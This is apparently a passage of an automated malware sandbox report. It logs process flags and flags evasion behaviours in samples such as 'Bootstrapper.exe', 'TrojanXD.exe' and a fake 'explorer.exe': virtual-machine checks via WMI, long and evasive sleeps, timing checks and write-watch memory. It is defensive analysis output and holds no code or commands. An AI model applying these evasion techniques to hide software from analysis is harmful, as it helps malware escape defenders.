Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe Process information set: FAILCRITICALERRORS | NOGPFAULTERRORBOX
Source: C:\Windows\System32\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe Process information set: FAILCRITICALERRORS | NOGPFAULTERRORBOX
Source: C:\Windows\System32\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe Process information set: FAILCRITICALERRORS | NOGPFAULTERRORBOX
Source: C:\Windows\System32\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe Process information set: FAILCRITICALERRORS | NOGPFAULTERRORBOX
Source: C:\Windows\System32\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe Process information set: FAILCRITICALERRORS | NOGPFAULTERRORBOX
Source: C:\Windows\System32\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion
barindex
Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)
Source: C:\Users\user\AppData\Local\Temp\BootstrapperV21.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_VideoController
Source: C:\Users\user\AppData\Local\Temp\BootstrapperV21.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_VideoController
Allocates memory with a write watch (potentially for evading sandboxes)
Source: C:\Users\user\AppData\Local\Temp\BootstrapperV21.exe Memory allocated: 2850000 memory reserve | memory write watch Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BootstrapperV21.exe Memory allocated: 1AA70000 memory reserve | memory write watch Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Bootstrapper.exe Memory allocated: 247BDAE0000 memory reserve | memory write watch Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Bootstrapper.exe Memory allocated: 247D73B0000 memory reserve | memory write watch Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BootstrapperV1.22.exe Memory allocated: 1AC8CBA0000 memory reserve | memory write watch
Source: C:\Users\user\AppData\Local\Temp\BootstrapperV1.22.exe Memory allocated: 1ACA6550000 memory reserve | memory write watch
Source: C:\Users\user\AppData\Roaming\explorer.exe Memory allocated: 11D0000 memory reserve | memory write watch
Source: C:\Users\user\AppData\Roaming\explorer.exe Memory allocated: 1ADB0000 memory reserve | memory write watch
Source: C:\Users\user\AppData\Roaming\explorer.exe Memory allocated: B40000 memory reserve | memory write watch
Source: C:\Users\user\AppData\Roaming\explorer.exe Memory allocated: 1A690000 memory reserve | memory write watch
Source: C:\Users\user\AppData\Roaming\explorer.exe Memory allocated: C10000 memory reserve | memory write watch
Source: C:\Users\user\AppData\Roaming\explorer.exe Memory allocated: 1A940000 memory reserve | memory write watch
Source: C:\Users\user\AppData\Roaming\explorer.exe Memory allocated: 930000 memory reserve | memory write watch
Source: C:\Users\user\AppData\Roaming\explorer.exe Memory allocated: 1A6A0000 memory reserve | memory write watch
Source: C:\Users\user\AppData\Roaming\explorer.exe Memory allocated: 12C0000 memory reserve | memory write watch
Source: C:\Users\user\AppData\Roaming\explorer.exe Memory allocated: 1AE10000 memory reserve | memory write watch
Source: C:\Users\user\AppData\Local\Temp\TrojanXD.exe Memory allocated: 2BF9D0B0000 memory reserve | memory write watch
Source: C:\Users\user\AppData\Local\Temp\TrojanXD.exe Memory allocated: 2BFB6B40000 memory reserve | memory write watch
Source: C:\Users\user\AppData\Roaming\explorer.exe Memory allocated: F00000 memory reserve | memory write watch
Source: C:\Users\user\AppData\Roaming\explorer.exe Memory allocated: 1AA40000 memory reserve | memory write watch
Contains functionality for execution timing, often used to detect debuggers
Source: C:\Program Files\WindowsApps\Microsoft.ZuneMusic_10.19071.19011.0_x64__8wekyb3d8bbwe\Music.UI.exe Code function: 39_2_00000207DE5869B2 rdtsc 39_2_00000207DE5869B2
Contains long sleeps (>= 3 min)
Source: C:\Users\user\AppData\Local\Temp\BootstrapperV21.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Bootstrapper.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Bootstrapper.exe Thread delayed: delay time: 600000 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Bootstrapper.exe Thread delayed: delay time: 599875 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Bootstrapper.exe Thread delayed: delay time: 599765 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Bootstrapper.exe Thread delayed: delay time: 599656 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Bootstrapper.exe Thread delayed: delay time: 599547 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Bootstrapper.exe Thread delayed: delay time: 599436 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Bootstrapper.exe Thread delayed: delay time: 599327 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Bootstrapper.exe Thread delayed: delay time: 599218 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Bootstrapper.exe Thread delayed: delay time: 599108 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Bootstrapper.exe Thread delayed: delay time: 599000 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Bootstrapper.exe Thread delayed: delay time: 598890 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Bootstrapper.exe Thread delayed: delay time: 598781 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Bootstrapper.exe Thread delayed: delay time: 598662 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Bootstrapper.exe Thread delayed: delay time: 598531 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Bootstrapper.exe Thread delayed: delay time: 598417 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Bootstrapper.exe Thread delayed: delay time: 598311 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Bootstrapper.exe Thread delayed: delay time: 598203 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Bootstrapper.exe Thread delayed: delay time: 598094 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Bootstrapper.exe Thread delayed: delay time: 597981 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Bootstrapper.exe Thread delayed: delay time: 597863 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Bootstrapper.exe Thread delayed: delay time: 597672 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Bootstrapper.exe Thread delayed: delay time: 597544 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Bootstrapper.exe Thread delayed: delay time: 597422 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Bootstrapper.exe Thread delayed: delay time: 597312 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Bootstrapper.exe Thread delayed: delay time: 597203 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Bootstrapper.exe Thread delayed: delay time: 597093 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Bootstrapper.exe Thread delayed: delay time: 596984 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Bootstrapper.exe Thread delayed: delay time: 596873 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Bootstrapper.exe Thread delayed: delay time: 596765 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Bootstrapper.exe Thread delayed: delay time: 596654 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Bootstrapper.exe Thread delayed: delay time: 596546 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Bootstrapper.exe Thread delayed: delay time: 596437 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Bootstrapper.exe Thread delayed: delay time: 596321 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Bootstrapper.exe Thread delayed: delay time: 596218 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Bootstrapper.exe Thread delayed: delay time: 596109 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Bootstrapper.exe Thread delayed: delay time: 595999 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Bootstrapper.exe Thread delayed: delay time: 595890 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Bootstrapper.exe Thread delayed: delay time: 595781 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Bootstrapper.exe Thread delayed: delay time: 595668 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Bootstrapper.exe Thread delayed: delay time: 595562 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Bootstrapper.exe Thread delayed: delay time: 595453 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Bootstrapper.exe Thread delayed: delay time: 595326 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Bootstrapper.exe Thread delayed: delay time: 594906 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Bootstrapper.exe Thread delayed: delay time: 594796 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Bootstrapper.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Local\Temp\BootstrapperV1.22.exe Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Local\Temp\BootstrapperV1.22.exe Thread delayed: delay time: 600000
Source: C:\Users\user\AppData\Local\Temp\BootstrapperV1.22.exe Thread delayed: delay time: 599891
Source: C:\Users\user\AppData\Local\Temp\BootstrapperV1.22.exe Thread delayed: delay time: 599772
Source: C:\Users\user\AppData\Local\Temp\BootstrapperV1.22.exe Thread delayed: delay time: 599653
Source: C:\Users\user\AppData\Local\Temp\BootstrapperV1.22.exe Thread delayed: delay time: 599532
Source: C:\Users\user\AppData\Local\Temp\BootstrapperV1.22.exe Thread delayed: delay time: 599297
Source: C:\Users\user\AppData\Local\Temp\BootstrapperV1.22.exe Thread delayed: delay time: 599172
Source: C:\Users\user\AppData\Local\Temp\BootstrapperV1.22.exe Thread delayed: delay time: 599063
Source: C:\Users\user\AppData\Local\Temp\BootstrapperV1.22.exe Thread delayed: delay time: 598938
Source: C:\Users\user\AppData\Local\Temp\BootstrapperV1.22.exe Thread delayed: delay time: 598813
Source: C:\Users\user\AppData\Local\Temp\BootstrapperV1.22.exe Thread delayed: delay time: 598688
Source: C:\Users\user\AppData\Local\Temp\BootstrapperV1.22.exe Thread delayed: delay time: 598563
Source: C:\Users\user\AppData\Local\Temp\BootstrapperV1.22.exe Thread delayed: delay time: 598452
Source: C:\Users\user\AppData\Local\Temp\BootstrapperV1.22.exe Thread delayed: delay time: 598344
Source: C:\Users\user\AppData\Local\Temp\BootstrapperV1.22.exe Thread delayed: delay time: 598230
Source: C:\Users\user\AppData\Local\Temp\BootstrapperV1.22.exe Thread delayed: delay time: 598110
Source: C:\Users\user\AppData\Local\Temp\BootstrapperV1.22.exe Thread delayed: delay time: 598000
Source: C:\Users\user\AppData\Local\Temp\BootstrapperV1.22.exe Thread delayed: delay time: 597891
Source: C:\Users\user\AppData\Local\Temp\BootstrapperV1.22.exe Thread delayed: delay time: 597766
Source: C:\Users\user\AppData\Local\Temp\BootstrapperV1.22.exe Thread delayed: delay time: 597656
Source: C:\Users\user\AppData\Local\Temp\BootstrapperV1.22.exe Thread delayed: delay time: 597547
Source: C:\Users\user\AppData\Local\Temp\BootstrapperV1.22.exe Thread delayed: delay time: 597438
Source: C:\Users\user\AppData\Local\Temp\BootstrapperV1.22.exe Thread delayed: delay time: 597313
Source: C:\Users\user\AppData\Local\Temp\BootstrapperV1.22.exe Thread delayed: delay time: 597190
Source: C:\Users\user\AppData\Local\Temp\BootstrapperV1.22.exe Thread delayed: delay time: 597065
Source: C:\Users\user\AppData\Local\Temp\BootstrapperV1.22.exe Thread delayed: delay time: 596939
Source: C:\Users\user\AppData\Local\Temp\BootstrapperV1.22.exe Thread delayed: delay time: 596625
Source: C:\Users\user\AppData\Local\Temp\BootstrapperV1.22.exe Thread delayed: delay time: 596507
Source: C:\Users\user\AppData\Local\Temp\BootstrapperV1.22.exe Thread delayed: delay time: 596391
Source: C:\Users\user\AppData\Local\Temp\BootstrapperV1.22.exe Thread delayed: delay time: 596282
Source: C:\Users\user\AppData\Local\Temp\BootstrapperV1.22.exe Thread delayed: delay time: 596157
Source: C:\Users\user\AppData\Local\Temp\BootstrapperV1.22.exe Thread delayed: delay time: 596032
Source: C:\Users\user\AppData\Local\Temp\BootstrapperV1.22.exe Thread delayed: delay time: 595907
Source: C:\Users\user\AppData\Local\Temp\BootstrapperV1.22.exe Thread delayed: delay time: 595797
Source: C:\Users\user\AppData\Local\Temp\BootstrapperV1.22.exe Thread delayed: delay time: 595688
Source: C:\Users\user\AppData\Local\Temp\BootstrapperV1.22.exe Thread delayed: delay time: 595563
Source: C:\Users\user\AppData\Local\Temp\BootstrapperV1.22.exe Thread delayed: delay time: 595438
Source: C:\Users\user\AppData\Local\Temp\BootstrapperV1.22.exe Thread delayed: delay time: 595313
Source: C:\Users\user\AppData\Local\Temp\BootstrapperV1.22.exe Thread delayed: delay time: 595188
Source: C:\Users\user\AppData\Local\Temp\BootstrapperV1.22.exe Thread delayed: delay time: 595078
Source: C:\Users\user\AppData\Local\Temp\BootstrapperV1.22.exe Thread delayed: delay time: 594969
Source: C:\Users\user\AppData\Local\Temp\BootstrapperV1.22.exe Thread delayed: delay time: 594844
Source: C:\Users\user\AppData\Local\Temp\BootstrapperV1.22.exe Thread delayed: delay time: 594735
Source: C:\Users\user\AppData\Local\Temp\BootstrapperV1.22.exe Thread delayed: delay time: 594610
Source: C:\Users\user\AppData\Local\Temp\BootstrapperV1.22.exe Thread delayed: delay time: 594485
Source: C:\Users\user\AppData\Local\Temp\BootstrapperV1.22.exe Thread delayed: delay time: 594368
Source: C:\Users\user\AppData\Local\Temp\BootstrapperV1.22.exe Thread delayed: delay time: 594259
Source: C:\Users\user\AppData\Local\Temp\BootstrapperV1.22.exe Thread delayed: delay time: 593766
Source: C:\Users\user\AppData\Local\Temp\BootstrapperV1.22.exe Thread delayed: delay time: 593633
Source: C:\Users\user\AppData\Local\Temp\BootstrapperV1.22.exe Thread delayed: delay time: 593492
Source: C:\Users\user\AppData\Local\Temp\BootstrapperV1.22.exe Thread delayed: delay time: 564023
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Roaming\explorer.exe Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Roaming\explorer.exe Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Roaming\explorer.exe Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Roaming\explorer.exe Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Roaming\explorer.exe Thread delayed: delay time: 922337203685477
Found WSH timer for Javascript or VBS script (likely evasive script)
Source: C:\Windows\System32\wscript.exe Window found: window name: WSH-Timer
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Source: C:\Users\user\AppData\Local\Temp\BootstrapperV21.exe Window / User API: threadDelayed 1024 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BootstrapperV21.exe Window / User API: threadDelayed 8814 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Bootstrapper.exe Window / User API: threadDelayed 3506 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Bootstrapper.exe Window / User API: threadDelayed 4766 Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Window / User API: threadDelayed 5833
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Window / User API: threadDelayed 3882
Source: C:\Users\user\AppData\Local\Temp\BootstrapperV1.22.exe Window / User API: threadDelayed 4007
Source: C:\Users\user\AppData\Local\Temp\BootstrapperV1.22.exe Window / User API: threadDelayed 4916
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Window / User API: threadDelayed 7620
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Window / User API: threadDelayed 1966
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Window / User API: threadDelayed 6260
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Window / User API: threadDelayed 3467
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Window / User API: threadDelayed 6209
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Window / User API: threadDelayed 3465
Found large amount of non-executed APIs
Source: C:\Program Files\WindowsApps\Microsoft.ZuneMusic_10.19071.19011.0_x64__8wekyb3d8bbwe\Music.UI.exe API coverage: 0.0 %
May sleep (evasive loops) to hinder dynamic analysis
Source: C:\Users\user\AppData\Local\Temp\BootstrapperV21.exe TID: 8000 Thread sleep time: -11990383647911201s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Bootstrapper.exe TID: 7204 Thread sleep time: -28592453314249787s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Bootstrapper.exe TID: 7204 Thread sleep time: -600000s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Bootstrapper.exe TID: 7204 Thread sleep time: -599875s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Bootstrapper.exe TID: 7204 Thread sleep time: -599765s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Bootstrapper.exe TID: 7204 Thread sleep time: -599656s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Bootstrapper.exe TID: 7204 Thread sleep time: -599547s >= -30000s Jump to behavior
